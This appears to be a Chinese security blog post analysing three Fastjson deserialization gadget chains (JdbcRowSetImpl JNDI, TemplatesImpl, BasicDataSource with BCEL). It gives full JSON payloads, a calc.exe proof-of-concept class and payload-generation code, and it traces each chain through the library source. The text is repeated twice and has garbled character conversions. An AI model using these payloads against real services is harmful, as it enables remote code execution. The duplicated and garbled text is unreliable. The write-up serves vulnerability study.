共计 21665 个字符,预计需要花费 55 分钟才能阅读完成。
作者:4ra1n
起源:https://www.anquanke.com/post…
Fastjson 已被大家剖析过很屡次,本文次要是对三种利用链做剖析和比照
JdbcRowSetImpl
String payload = "{\n" +
"\"a\":{\n" +
"\"@type\":\"java.lang.Class\",\n" +
"\"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
"},\n" +
"\"b\":{\n" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +
"\"autoCommit\":true\n" +
"}\n" +
"}";
JSON.parse(payload);
payload 中的 a 对象用来当作缓存绕过,须要关注的是第二个对象
留神到其中"autoCommit":true
,反序列化时,会反射设置属性,调用com.sun.rowset.JdbcRowSetImpl.setAutoCommit()
public void setAutoCommit(boolean var1) throws SQLException {if (this.conn != null) {this.conn.setAutoCommit(var1);
} else {
// conn 为空才会调用到这里
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
跟入com.sun.rowset.JdbcRowSetImpl.connect()
,触发lookup
,加载近程歹意对象
protected Connection connect() throws SQLException {if (this.conn != null) {return this.conn;} else if (this.getDataSourceName() != null) {
try {
// conn 为空且 dataSourceName 不为空才会到这里
InitialContext var1 = new InitialContext();
// 胜利触发 JNDI 注入
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
依据 lookup 到com.sun.jndi.rmi.registry.RegistryContext.lookup()
public Object lookup(Name var1) throws NamingException {if (var1.isEmpty()) {
......
return this.decodeObject(var2, var1.getPrefix(1));
}
}
跟入 decodeObject
办法,看到加载了近程 Reference
绑定的歹意对象
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
总结:
- 实战能够利用,JDNI 注入基于较低版本的 JDK,LDAP 适用范围更广
- 必须能出网,加载远端的歹意字节码,造成了局限性
TemplateImpl
String payload = "{\"a\":{\n" +
"\"@type\":\"java.lang.Class\",\n" +
"\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +
"},\n" +
"\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";
JSON.parse(payload, Feature.SupportNonPublicField);
留神其中的 Payload 来自于歹意类,该类应该继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
public class TEMPOC extends AbstractTranslet {public TEMPOC() throws IOException {Runtime.getRuntime().exec("calc.exe");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { }
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException { }
public static void main(String[] args) throws Exception {TEMPOC t = new TEMPOC();
}
}
相似第一条链,应用两个对象绕过,其中的 Payload 为歹意类的字节码再 Base64 编码的后果,给出繁难的 py 脚本
fin = open(r"PATH-TO-TEMPOC.class", "rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
print(fout)
该链须要开启 Feature.SupportNonPublicField
参数再反射设置属性,查看官网阐明,如果某属性不存在 set 办法,但还想设置值时,须要开启该参数,这里的状况正好合乎,而理论我的项目中很少呈现这种状况,导致该链较鸡肋,没有理论的意义(其实 TemplateImpl
类中有 set 办法,比方 setTransletBytecodes
,然而名称和Bytecodes
不统一)
在 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField
设置属性时会有判断
final int mask = Feature.SupportNonPublicField.mask;
if (fieldDeserializer == null
&& (lexer.isEnabled(mask)
|| (this.beanInfo.parserFeatures & mask) != 0)) {......
反序列化时,fastjson 中会把”_”结尾的属性替换为空。并在 outputProperties
设置值时调用getOutputProperties
public synchronized Properties getOutputProperties() {
try {return newTransformer().getOutputProperties();}
catch (TransformerConfigurationException e) {return null;}
}
调用到 com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer
办法
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
跟入getTransletInstance
// name 不能为空所以在 payload 中设置 a.b
if (_name == null) return null;
// 要害
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
再跟入 defineTransletClasses
,对父类进行了验证,这样解释了为什么 Payload 歹意类要继承自该类。如果验证没有问题,将在上方的newInstance
办法中实例化该类,造成 RCE
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}
为什么 _bytescode
要对字节码进行 base64 编码?反序列化的过程中会调用很多类,在通过该类 com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze
的时候,会对字段进行一次 base64 的解码
......
if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) {byte[] bytes = lexer.bytesValue();
......
跟入 lexer.bytesValue()
办法,看到decodeBase64
public byte[] bytesValue() {
......
// base64 解码
return IOUtils.decodeBase64(buf, np + 1, sp);
}
总结:
- TemplatesImpl 类是 Java 反序列化界比拟罕用的类,更容易了解和上手
- 须要开启
Feature.SupportNonPublicField
,实战中不实用
BasicDataSource
String payload = "{\n" +
"\"name\":\n" +
"{\n" +
"\"@type\": \"java.lang.Class\",\n" +
"\"val\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n" +
"},\n" +
"\"x\": {\n" +
"\"name\": {\n" +
"\"@type\": \"java.lang.Class\",\n" +
"\"val\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
"},\n" +
"\"y\": {\n" +
"\"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
"\"c\": {\n" +
"\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
"\"driverClassLoader\": {\n" +
"\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
"},\n" +
"\"driverClassName\":\"!!!Payload!!!\",\n" +
"\n" +
"\"$ref\": \"$.x.y.c.connection\"\n" +
"\n" +
"}\n" +
"}\n" +
"}\n" +
"}";
JSON.parse(payload);
这个 Payload 实用于 1.2.37 版本,并且须要导入 Tomcat 相干的包
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.37</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>8.0.36</version>
</dependency>
</dependencies>
生成 driverClassName
的工具如下
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;
public class Test {public static void main(String[] args) throws Exception {JavaClass cls = Repository.lookupClass(Exp.class);
String code = Utility.encode(cls.getBytes(), true);
code = "$$BCEL$$" + code;
new ClassLoader().loadClass(code).newInstance();
System.out.println(code);
}
}
BCEL 的全名是 Apache Commons BCEL,Apache Commons 我的项目下的一个子项目,蕴含在 JDK 的原生库中。咱们能够通过 BCEL 提供的两个类 Repository 和 Utility 来利用:Repository 用于将一个 Java Class 先转换成原生字节码,当然这里也能够间接应用 javac 命令来编译 java 文件生成字节码;Utility 用于将原生的字节码转换成 BCEL 格局的字节码。
生成的 BCEL 格局大略如下:
$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$......
将这种格局的字符串,作为“字节码”传入 new ClassLoader().loadClass(code).newInstance();
将会被实例化,当咱们在 Fastjson 反序列化中结构出这种链,将会造成反序列化破绽
回到 Payload,结尾一部分用于绕 Fastjson 黑白名单,没有什么非凡的意义,外围局部如下:
"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"y": {
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"},
"driverClassName":"!!!Payload!!!",
"$ref": "$.x.y.c.connection"
}
}
}
这个版本利用的是 $ref
这个个性:当 fastjson 版本 >=1.2.36 时,咱们能够应用 $ref
的形式来调用任意的 getter,比方这个 Payload 调用的是x.y.c.connection
,x 是这个大对象,最终调用的是 c 对象的 connection 办法,也就是BasicDataSource.connection
参考代码com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591
if ("$ref" == key && context != null) {
// 传入的 ref 是 $.x.y.c.connection,匹配到 else
if ("@".equals(ref)) {...} else if ("..".equals(ref)) {...} else if ("$".equals(ref)) {...} else {Object refObj = parser.resolveReference(ref);
if (refObj != null) {object = refObj;} else {
// 将 $.x.y.c.connection 退出到 Task
parser.addResolveTask(new ResolveTask(context, ref));
parser.resolveStatus = DefaultJSONParser.NeedToResolve;
}
}
}
// 解决后设置到 context
parser.setContext(context, object, fieldName);
破绽的触发点在com.alibaba.fastjson.JSON.parse:154
parser.handleResovleTask(value);
跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465
if (ref.startsWith("$")) {refValue = getObject(ref);
if (refValue == null) {
try {
// 看到 eval 感觉有货色
refValue = JSONPath.eval(value, ref);
} catch (JSONPathException ex) {// skip}
}
}
跟入 JSONPath.eval
,这里的segement
数组中的是[x,y,c,connection]
public Object eval(Object rootObject) {if (rootObject == null) {return null;}
init();
Object currentObject = rootObject;
for (int i = 0; i < segments.length; ++i) {Segement segement = segments[i];
// 持续跟入
currentObject = segement.eval(this, rootObject, currentObject);
}
return currentObject;
}
达到com.alibaba.fastjson.JSONPath:1350
public Object eval(JSONPath path, Object rootObject, Object currentObject) {if (deep) {List<Object> results = new ArrayList<Object>();
path.deepScan(currentObject, propertyName, results);
return results;
} else {// return path.getPropertyValue(currentObject, propertyName, true);
return path.getPropertyValue(currentObject, propertyName, propertyNameHash);
}
}
持续跟入path.getPropertyValue
protected Object getPropertyValue(Object currentObject, String propertyName, long propertyNameHash) {if (currentObject == null) {return null;}
if (currentObject instanceof Map) {Map map = (Map) currentObject;
Object val = map.get(propertyName);
if (val == null && SIZE == propertyNameHash) {val = map.size();
}
return val;
}
final Class<?> currentClass = currentObject.getClass();
JavaBeanSerializer beanSerializer = getJavaBeanSerializer(currentClass);
if (beanSerializer != null) {
try {
// 最初一次循环达到这里
return beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);
} catch (Exception e) {throw new JSONPathException("jsonpath error, path" + path + ", segement" + propertyName, e);
}
}
跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439
public Object getFieldValue(Object object, String key, long keyHash, boolean throwFieldNotFoundException) {FieldSerializer fieldDeser = getFieldSerializer(keyHash);
......
// 跟入
return fieldDeser.getPropertyValue(object);
}
跟入com.alibaba.fastjson.serializer.FieldSerializer:145
public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {Object propertyValue = fieldInfo.get(object);
达到com.alibaba.fastjson.util.FieldInfo
,达到最终触发点:method.invoke
public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
return method != null
? method.invoke(javaObject)
: field.get(javaObject);
}
看到这里的 javaObject 正是BasicDataSouce
回到 BasicDataSource
自身
public Connection getConnection() throws SQLException {if (Utils.IS_SECURITY_ENABLED) {
// 跟入
final PrivilegedExceptionAction<Connection> action = new PaGetConnection();
try {return AccessController.doPrivileged(action);
} catch (final PrivilegedActionException e) {final Throwable cause = e.getCause();
if (cause instanceof SQLException) {throw (SQLException) cause;
}
throw new SQLException(e);
}
}
return createDataSource().getConnection();
}
private class PaGetConnection implements PrivilegedExceptionAction<Connection> {
@Override
public Connection run() throws SQLException {// 跟入 createDataSource()
return createDataSource().getConnection();
}
}
// 持续跟入 createConnectionFactory()
final ConnectionFactory driverConnectionFactory = createConnectionFactory();
最终触发点,其中 driverClassName
和driverClassLoader
都是可控的,由用户输出,指定 ClassLoader 为 com.sun.org.apache.bcel.internal.util.ClassLoader
,设置 ClassName 为BCEL...
这种格局后,在 newInstance
办法执行后被实例化。第二个参数 initial
为 true 时,类加载后将会间接执行 static{}
块中的代码。
if (driverClassLoader == null) {driverFromCCL = Class.forName(driverClassName);
} else {
driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
}
...
driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
...
driverToUse = (Driver) driverFromCCL.newInstance();
总结:
- 不须要出网,不须要开启非凡的参数,适用范围较广
- 指标须要引入 tomcat 依赖,虽说比拟常见,但也是一种限度
Fastjson 已被大家剖析过很屡次,本文次要是对三种利用链做剖析和比照
JdbcRowSetImpl
String payload = "{\n" +
"\"a\":{\n" +
"\"@type\":\"java.lang.Class\",\n" +
"\"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
"},\n" +
"\"b\":{\n" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\n" +
"\"autoCommit\":true\n" +
"}\n" +
"}";
JSON.parse(payload);
payload 中的 a 对象用来当作缓存绕过,须要关注的是第二个对象
留神到其中"autoCommit":true
,反序列化时,会反射设置属性,调用com.sun.rowset.JdbcRowSetImpl.setAutoCommit()
public void setAutoCommit(boolean var1) throws SQLException {if (this.conn != null) {this.conn.setAutoCommit(var1);
} else {
// conn 为空才会调用到这里
this.conn = this.connect();
this.conn.setAutoCommit(var1);
}
}
跟入com.sun.rowset.JdbcRowSetImpl.connect()
,触发lookup
,加载近程歹意对象
protected Connection connect() throws SQLException {if (this.conn != null) {return this.conn;} else if (this.getDataSourceName() != null) {
try {
// conn 为空且 dataSourceName 不为空才会到这里
InitialContext var1 = new InitialContext();
// 胜利触发 JNDI 注入
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
依据 lookup 到com.sun.jndi.rmi.registry.RegistryContext.lookup()
public Object lookup(Name var1) throws NamingException {if (var1.isEmpty()) {
......
return this.decodeObject(var2, var1.getPrefix(1));
}
}
跟入 decodeObject
办法,看到加载了近程 Reference
绑定的歹意对象
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
总结:
- 实战能够利用,JDNI 注入基于较低版本的 JDK,LDAP 适用范围更广
- 必须能出网,加载远端的歹意字节码,造成了局限性
TemplateImpl
String payload = "{\"a\":{\n" +
"\"@type\":\"java.lang.Class\",\n" +
"\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"\n" +
"},\n" +
"\"b\":{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\"!!!Payload!!!\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{}}";
JSON.parse(payload, Feature.SupportNonPublicField);
留神其中的 Payload 来自于歹意类,该类应该继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
public class TEMPOC extends AbstractTranslet {public TEMPOC() throws IOException {Runtime.getRuntime().exec("calc.exe");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { }
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException { }
public static void main(String[] args) throws Exception {TEMPOC t = new TEMPOC();
}
}
相似第一条链,应用两个对象绕过,其中的 Payload 为歹意类的字节码再 Base64 编码的后果,给出繁难的 py 脚本
fin = open(r"PATH-TO-TEMPOC.class", "rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
print(fout)
该链须要开启 Feature.SupportNonPublicField
参数再反射设置属性,查看官网阐明,如果某属性不存在 set 办法,但还想设置值时,须要开启该参数,这里的状况正好合乎,而理论我的项目中很少呈现这种状况,导致该链较鸡肋,没有理论的意义(其实 TemplateImpl
类中有 set 办法,比方 setTransletBytecodes
,然而名称和Bytecodes
不统一)
在 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField
设置属性时会有判断
final int mask = Feature.SupportNonPublicField.mask;
if (fieldDeserializer == null
&& (lexer.isEnabled(mask)
|| (this.beanInfo.parserFeatures & mask) != 0)) {......
反序列化时,fastjson 中会把”_”结尾的属性替换为空。并在 outputProperties
设置值时调用getOutputProperties
public synchronized Properties getOutputProperties() {
try {return newTransformer().getOutputProperties();}
catch (TransformerConfigurationException e) {return null;}
}
调用到 com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer
办法
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
跟入getTransletInstance
// name 不能为空所以在 payload 中设置 a.b
if (_name == null) return null;
// 要害
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
再跟入 defineTransletClasses
,对父类进行了验证,这样解释了为什么 Payload 歹意类要继承自该类。如果验证没有问题,将在上方的newInstance
办法中实例化该类,造成 RCE
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}
为什么 _bytescode
要对字节码进行 base64 编码?反序列化的过程中会调用很多类,在通过该类 com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze
的时候,会对字段进行一次 base64 的解码
......
if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) {byte[] bytes = lexer.bytesValue();
......
跟入 lexer.bytesValue()
办法,看到decodeBase64
public byte[] bytesValue() {
......
// base64 解码
return IOUtils.decodeBase64(buf, np + 1, sp);
}
总结:
- TemplatesImpl 类是 Java 反序列化界比拟罕用的类,更容易了解和上手
- 须要开启
Feature.SupportNonPublicField
,实战中不实用
BasicDataSource
String payload = "{\n" +
"\"name\":\n" +
"{\n" +
"\"@type\": \"java.lang.Class\",\n" +
"\"val\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n" +
"},\n" +
"\"x\": {\n" +
"\"name\": {\n" +
"\"@type\": \"java.lang.Class\",\n" +
"\"val\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
"},\n" +
"\"y\": {\n" +
"\"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
"\"c\": {\n" +
"\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
"\"driverClassLoader\": {\n" +
"\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
"},\n" +
"\"driverClassName\":\"!!!Payload!!!\",\n" +
"\n" +
"\"$ref\": \"$.x.y.c.connection\"\n" +
"\n" +
"}\n" +
"}\n" +
"}\n" +
"}";
JSON.parse(payload);
这个 Payload 实用于 1.2.37 版本,并且须要导入 Tomcat 相干的包
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.37</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>8.0.36</version>
</dependency>
</dependencies>
生成 driverClassName
的工具如下
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.Repository;
public class Test {public static void main(String[] args) throws Exception {JavaClass cls = Repository.lookupClass(Exp.class);
String code = Utility.encode(cls.getBytes(), true);
code = "$$BCEL$$" + code;
new ClassLoader().loadClass(code).newInstance();
System.out.println(code);
}
}
BCEL 的全名是 Apache Commons BCEL,Apache Commons 我的项目下的一个子项目,蕴含在 JDK 的原生库中。咱们能够通过 BCEL 提供的两个类 Repository 和 Utility 来利用:Repository 用于将一个 Java Class 先转换成原生字节码,当然这里也能够间接应用 javac 命令来编译 java 文件生成字节码;Utility 用于将原生的字节码转换成 BCEL 格局的字节码。
生成的 BCEL 格局大略如下:
$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$......
将这种格局的字符串,作为“字节码”传入 new ClassLoader().loadClass(code).newInstance();
将会被实例化,当咱们在 Fastjson 反序列化中结构出这种链,将会造成反序列化破绽
回到 Payload,结尾一部分用于绕 Fastjson 黑白名单,没有什么非凡的意义,外围局部如下:
"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"y": {
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"},
"driverClassName":"!!!Payload!!!",
"$ref": "$.x.y.c.connection"
}
}
}
这个版本利用的是 $ref
这个个性:当 fastjson 版本 >=1.2.36 时,咱们能够应用 $ref
的形式来调用任意的 getter,比方这个 Payload 调用的是x.y.c.connection
,x 是这个大对象,最终调用的是 c 对象的 connection 办法,也就是BasicDataSource.connection
参考代码com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze:591
if ("$ref" == key && context != null) {
// 传入的 ref 是 $.x.y.c.connection,匹配到 else
if ("@".equals(ref)) {...} else if ("..".equals(ref)) {...} else if ("$".equals(ref)) {...} else {Object refObj = parser.resolveReference(ref);
if (refObj != null) {object = refObj;} else {
// 将 $.x.y.c.connection 退出到 Task
parser.addResolveTask(new ResolveTask(context, ref));
parser.resolveStatus = DefaultJSONParser.NeedToResolve;
}
}
}
// 解决后设置到 context
parser.setContext(context, object, fieldName);
破绽的触发点在com.alibaba.fastjson.JSON.parse:154
parser.handleResovleTask(value);
跟入com.alibaba.fastjson.parser.DefaultJSONParser.handleResovleTask:1465
if (ref.startsWith("$")) {refValue = getObject(ref);
if (refValue == null) {
try {
// 看到 eval 感觉有货色
refValue = JSONPath.eval(value, ref);
} catch (JSONPathException ex) {// skip}
}
}
跟入 JSONPath.eval
,这里的segement
数组中的是[x,y,c,connection]
public Object eval(Object rootObject) {if (rootObject == null) {return null;}
init();
Object currentObject = rootObject;
for (int i = 0; i < segments.length; ++i) {Segement segement = segments[i];
// 持续跟入
currentObject = segement.eval(this, rootObject, currentObject);
}
return currentObject;
}
达到com.alibaba.fastjson.JSONPath:1350
public Object eval(JSONPath path, Object rootObject, Object currentObject) {if (deep) {List<Object> results = new ArrayList<Object>();
path.deepScan(currentObject, propertyName, results);
return results;
} else {// return path.getPropertyValue(currentObject, propertyName, true);
return path.getPropertyValue(currentObject, propertyName, propertyNameHash);
}
}
持续跟入path.getPropertyValue
protected Object getPropertyValue(Object currentObject, String propertyName, long propertyNameHash) {if (currentObject == null) {return null;}
if (currentObject instanceof Map) {Map map = (Map) currentObject;
Object val = map.get(propertyName);
if (val == null && SIZE == propertyNameHash) {val = map.size();
}
return val;
}
final Class<?> currentClass = currentObject.getClass();
JavaBeanSerializer beanSerializer = getJavaBeanSerializer(currentClass);
if (beanSerializer != null) {
try {
// 最初一次循环达到这里
return beanSerializer.getFieldValue(currentObject, propertyName, propertyNameHash, false);
} catch (Exception e) {throw new JSONPathException("jsonpath error, path" + path + ", segement" + propertyName, e);
}
}
跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439
public Object getFieldValue(Object object, String key, long keyHash, boolean throwFieldNotFoundException) {FieldSerializer fieldDeser = getFieldSerializer(keyHash);
......
// 跟入
return fieldDeser.getPropertyValue(object);
}
跟入com.alibaba.fastjson.serializer.FieldSerializer:145
public Object getPropertyValue(Object object) throws InvocationTargetException, IllegalAccessException {Object propertyValue = fieldInfo.get(object);
达到com.alibaba.fastjson.util.FieldInfo
,达到最终触发点:method.invoke
public Object get(Object javaObject) throws IllegalAccessException, InvocationTargetException {
return method != null
? method.invoke(javaObject)
: field.get(javaObject);
}
看到这里的 javaObject 正是BasicDataSouce
回到 BasicDataSource
自身
public Connection getConnection() throws SQLException {if (Utils.IS_SECURITY_ENABLED) {
// 跟入
final PrivilegedExceptionAction<Connection> action = new PaGetConnection();
try {return AccessController.doPrivileged(action);
} catch (final PrivilegedActionException e) {final Throwable cause = e.getCause();
if (cause instanceof SQLException) {throw (SQLException) cause;
}
throw new SQLException(e);
}
}
return createDataSource().getConnection();
}
private class PaGetConnection implements PrivilegedExceptionAction<Connection> {
@Override
public Connection run() throws SQLException {// 跟入 createDataSource()
return createDataSource().getConnection();
}
}
// 持续跟入 createConnectionFactory()
final ConnectionFactory driverConnectionFactory = createConnectionFactory();
最终触发点,其中 driverClassName
和driverClassLoader
都是可控的,由用户输出,指定 ClassLoader 为 com.sun.org.apache.bcel.internal.util.ClassLoader
,设置 ClassName 为BCEL...
这种格局后,在 newInstance
办法执行后被实例化。第二个参数 initial
为 true 时,类加载后将会间接执行 static{}
块中的代码。
if (driverClassLoader == null) {driverFromCCL = Class.forName(driverClassName);
} else {
driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
}
...
driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
...
driverToUse = (Driver) driverFromCCL.newInstance();
总结:
- 不须要出网,不须要开启非凡的参数,适用范围较广
- 指标须要引入 tomcat 依赖,虽说比拟常见,但也是一种限度
近期热文举荐:
1.1,000+ 道 Java 面试题及答案整顿(2021 最新版)
2. 别在再满屏的 if/ else 了,试试策略模式,真香!!
3. 卧槽!Java 中的 xx ≠ null 是什么新语法?
4.Spring Boot 2.5 重磅公布,光明模式太炸了!
5.《Java 开发手册(嵩山版)》最新公布,速速下载!
感觉不错,别忘了顺手点赞 + 转发哦!